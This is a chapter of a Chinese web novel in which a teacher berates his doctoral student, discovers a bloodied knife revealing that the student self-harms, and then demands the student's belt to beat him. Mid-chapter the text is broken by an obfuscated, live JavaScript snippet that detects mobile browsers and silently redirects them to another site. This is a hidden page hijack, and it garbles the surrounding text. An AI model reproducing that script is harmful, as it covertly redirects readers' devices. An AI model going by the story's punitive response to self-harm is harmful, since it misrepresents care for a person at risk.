202.自残
作品:《太阳和群山》 “你到底在干什么?!”下了课,学生们都走了,纪慎却大发雷霆,庄遂平站在一旁,目光躲躲闪闪,显得手足无措。
纪慎这次让他讲了一节课,汤显祖的生平,但是小孩子不知道是没备课还是怎么的,讲得磕磕巴巴就算了,还说错好几个地方,一直被学生提问,然后又莫名其妙地换了个说法,搞得学生们也一头雾水,无奈之下,纪慎只好又花半节课给学生们重新梳理了一遍。
“作者生平这种东西,只要你把书看了,资料找了,按照时间顺序讲出来就行,最没有难度的事情,你给我弄成这样?庄遂平,你真的是……”
看着老师摇了摇头,庄遂平的眼泪一下就涌出来了,虽然还没哭,但是委屈显而易见。
“你实话告诉我,你备课了没有?”
庄遂平咬着下唇,轻轻点头。
纪慎更气了,拿起书狠狠掼在讲台上:“那你告诉我,为什么讲成这个样子?!”
正巧走廊有两个学生走过,吓了一跳,又忍不住偷偷往里头看,对上纪慎轻飘飘的目光,当即像见了鬼一样,赶紧跑了。
庄遂平解释不了这个事情,因为他自己也不知道:“对不起,老师,我以后不会了。”
“你上次就保证过了,说你会专心,不管写文章还是上课,我没有记错吧?”
庄遂平摇了摇头,脑袋压得越发低了。
纪慎想打他一顿,却又觉得没什么用,如果他自己不愿意努力争取,那么多少人在他背后推,也只是白费力气。
也许,小孩子也并不适合留下来。
纪慎叹声气,嗓音染上疲惫:“罢了,以后不勉强你了,眼看到期末了,你做好自己的事情就好。”
庄遂平一听这话,立刻联想到了种种可怕的后果,拉着老师的衣服:“老师,我真的知道错了,您再给我一次机会,我会努力的,我真的会的……”
“我给你什么机会啊?后面也没有几节课了,你这么心思不定的,我又何必逼你?”
“不是的,老师,老师,我会做好,我求您了……”庄遂平说着,哭腔都出来了。纪慎头痛得很,掰开他的手:“先回去吧,有什么事之后再说。”说罢,拿起自己的书,头也不回地走了。
看着老师的背影,庄遂平一阵心酸,在眼眶里积攒了许久的泪水“唰”地落下。
有气无力地回了公寓,庄遂平趴在书桌上,脑子混混沌沌,什么都想不出一个头绪。寂静中呆了半个多小时,他才开始慢慢回忆备课的时候自己在干什么,不断地追溯追溯,终于凝成一个清晰的人影。
他在想麦秋。
他其实一直都知道,他不该去想的,可是他的心、他的脑子好像都不受自己控制,麦秋的笑容和声音总是一再浮现,让他忍不住伸手去触碰。
书桌上压着他修改了好几次的书稿后记,里面有一段感谢编辑的话,他修改了四五次,总也改不好。他想让别人知道,麦秋很好,帮了他很多忙,他也很感激,可是总觉得语言好苍白,写在纸上的情意不及心中万一。
他拿起笔,把那段话全都划掉了。
麦秋,秋秋,我不应该,也不能再想你了。
庄遂平把那两张纸揉成一团,丢进了垃圾桶。
过了几天,纪慎正在办公室改学生论文,却忽然一阵心悸,不得已停了笔。其实那天骂过庄遂平之后,他几乎每天都有这么一两次心神不宁,总觉得小孩子会出什么事。一开始他安慰自己,不会出事的,这么大个人了,能照顾自己,可是想到过去那两年,他又实在是怕。
纪慎简单收拾了桌子,起身出去了。
快到午饭时间了,纪慎猜测小孩子这个点应该在公寓,便朝博士公寓楼走,想去跟他好好聊一聊。可是当他站在庄遂平的公寓门口敲门时,他却听到里面传来“哐啷”一声,似乎是什么东西在惊慌之中砸在了地上。
纪慎顿时眉心一蹙,更加用力地敲了两下:“遂平,我是老师,开门!”
门里久久没有声音,他再次敲门:“遂平,你在干什么?快给我开门!”
“来、来了!”
虽然隔着一扇门,但纪慎还是听出了声音里的颤抖。他既疑惑,又担心,接着又听见“哐啷”几声,然后才等到庄遂平来开门。
纪慎很谨慎,没有马上进去,而是站在门口打量了小孩子好一会。庄遂平低着头,不敢看纪慎,连老师也没叫,衣服都穿得整齐,只是一副心虚的样子。
屋里头还算整齐,不像是砸过东西的样子。
纪慎眼睛从左扫到右,慢慢地走进来。庄遂平赶紧把门关上,乖乖地跟着。
书桌收拾得工整,桌面上是写到一半的论文,涂改痕迹很重,几乎把整张纸都画黑了。
“写文章?”
“嗯。”庄遂平含糊地应了一声,像飘在半空中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964109|143212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“刚才什么响?”
庄遂平眼睫毛一颤:“钢、钢笔掉地上了。”
“哦,”纪慎拿起钢笔端详一阵,干干净净,却没有大发雷霆,只是平静道,“遂平,你学会撒谎了。”
庄遂平仿佛被人一闷棍打在后脑上,人都是懵的,只浑身忍不住颤抖起来。
纪慎低下头,看见抽屉开着一道缝,像是没关紧的样子,伸手慢慢拉开。
“老师……”
纪慎看了他一眼,再回过头,抽屉里躺着厚厚一沓整整齐齐的书稿,还有一把折叠刀。
“遂平,告诉老师,你在这里做什么?”
“老师……”庄遂平膝盖一软,缓缓跪在地上,哀求地看着纪慎,摇了摇头。
纪慎拿出那把不该出现在这里的折叠刀,缓缓打开,刀刃上还洇着血迹。纪慎眼前一黑,差点没栽过去。
“老师,”庄遂平哭了起来,“老师,我知道错了,我知道错了!”
纪慎把刀放了回去,仍然很平静:“遂平,告诉老师,你在做什么?”
庄遂平泪流满面,不停地摇头:“我没有办法,我好害怕,老师,您别不要我,我不敢了,我再也不会分心了,我什么都不想,求求老师……”
“我问你在做什么?!”
一句话喝住了不断求饶的庄遂平,他双目垂泪,无助地摇了摇头。
其实纪慎不必问的,那血迹还没有凝固,分明是新鲜的,而在他到来之前,庄遂平,是这个空间里唯一的活物。
那只能是他的血。
他在自残。
纪慎把他从地上拉起来,问:“这样会让你好一点吗?”
庄遂平甚至不知道老师问的是什么,呆呆地点头,随后又摇头,完全是意义不明的敷衍。
“好,我来帮你。”
庄遂平不知道这话是什么意思,惊恐地抬眸望向老师,只见老师伸出手,冷漠道:“皮带给我。”
庄遂平眼中的惊恐明显加深了,颤抖着摇了摇头。
纪慎重复了一遍:“皮带给我。”
庄遂平嘴唇发着抖,一眨眼,眼泪“唰”地淌下来,在老师的注视下,他无助地解开了腰上的皮带扣,缓缓地抽出了皮带。
这根皮带还是他在南京买的。
纪慎只是伸着手,他就必须乖乖地双手将皮带递出去,随后褪下裤子,转身趴到了床上。